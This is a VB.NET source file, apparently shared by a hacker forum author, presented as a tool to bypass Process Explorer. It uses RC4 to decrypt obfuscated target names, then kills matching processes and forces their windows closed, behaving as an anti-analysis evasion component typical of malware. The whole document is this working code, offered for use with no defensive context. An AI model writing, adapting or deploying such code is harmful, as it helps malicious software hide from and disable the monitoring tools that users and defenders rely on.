ByPass ProcessExplorer [ By Security.Najaf ]

Imports System.Runtime.InteropServices
Imports System.Text
Module Module1
    'C0DED BY S4CUR1TY.N4JAF ~
    Public Function rc4(ByVal message As String, ByVal password As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New StringBuilder
        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
        Dim intLength As Integer = password.Length
        Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
            sbox(a) = a
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        Dim x As Integer = 0
        Dim b As Integer = 0
        While b <= 255
            x = (x + sbox(b) + key(b)) Mod 256
            Dim tempSwap As Integer = sbox(b)
            sbox(b) = sbox(x)
            sbox(x) = tempSwap
            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
        End While
        a = 1
        While a <= message.Length
            Dim itmp As Integer = 0
            i = (i + 1) Mod 256
            j = (j + sbox(i)) Mod 256
            itmp = sbox(i)
            sbox(i) = sbox(j)
            sbox(j) = itmp
            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
            itmp = Asc(ctmp)
            Dim cipherby As Integer = itmp Xor k
            cipher.Append(Chr(cipherby))
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        returnCipher = cipher.ToString
        cipher.Length = 0
        Return returnCipher
    End Function
    Public Declare Auto Function GetClassName Lib "User32.dll" (ByVal hwnd As IntPtr, _
            <Out()> ByVal lpClassName As System.Text.StringBuilder, _
            ByVal nMaxCount As Integer) As Integer
    Declare Function test Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Int32
    Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Int32, ByVal wMsg As Int32, ByVal _wParam As Int32, ByVal lParam As Int32) As Int32
    Private Const SW_SHOWNORMAL As Integer = 1
    Private Const SW_SHOWMINIMIZED As Integer = 2
    Private Declare Function ShowWindow Lib "user32" (ByVal handle As IntPtr, ByVal nCmdShow As Integer) As Integer
    Private Const SW_SHOWMAXIMIZED As Integer = 3
    Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" _
         (ByVal hWnd As Long) As Long
    Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
    ByVal lpClassName As String, _
    ByVal lpWindowName As String _
) As Long
    Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" ( _
        ByVal hWndParent As Long, _
        ByVal hWndChildAfter As Long, _
        ByVal lpszClassName As String, _
        ByVal lpszWindowName As String _
    ) As Long
    Function GetProcessesByDescription(ByVal description As String) As Process()
        Dim result As New List(Of Process)
        For Each p As Process In Process.GetProcesses
            Try
                Dim ProcessFile = FileVersionInfo.GetVersionInfo(p.MainModule.FileName)
                Dim myDescription = ProcessFile.FileDescription
                If (myDescription = description) Then result.Add(p)
            Catch ex As Exception
            End Try
        Next
        Return result.ToArray()
    End Function
    Sub main()
        Dim SUNProcess() As Process = GetProcessesByDescription(rc4("س€؟C+¦ز¸Z­أہœئ|ل‌<iزك~", "Autoit"))
        For Each pro As Process In SUNProcess
            pro.Kill()
        Next
        Dim ClassName As String = rc4("ش¾…uه", "Autoit")
        Dim WindowHandle As Int32
        Dim ReturnVal As Int32
        Const WM_QUIT = &H12
        Do
            WindowHandle = FindWindow(ClassName, Nothing)
            If WindowHandle Then
                ReturnVal = PostMessage(WindowHandle, WM_QUIT, 0, 0)
            End If
        Loop Until WindowHandle = 0
        On Error Resume Next
        Dim myProcesses() As Process = Process.GetProcesses
        For Each p As Process In myProcesses
            If p.MainWindowTitle.Contains(rc4("؟ئَzيˆُN‏Vـ{_/%ئZٹc›عs:‚’$Xن~AـwŒذ8Sïفةإط‘ّtؤ„¦", "Autoit")) Then
                p.CloseMainWindow()
            End If
        Next
        MessageBox.Show("Done Killed : ) | Coded By Security.Najaf")
    End Sub
End Module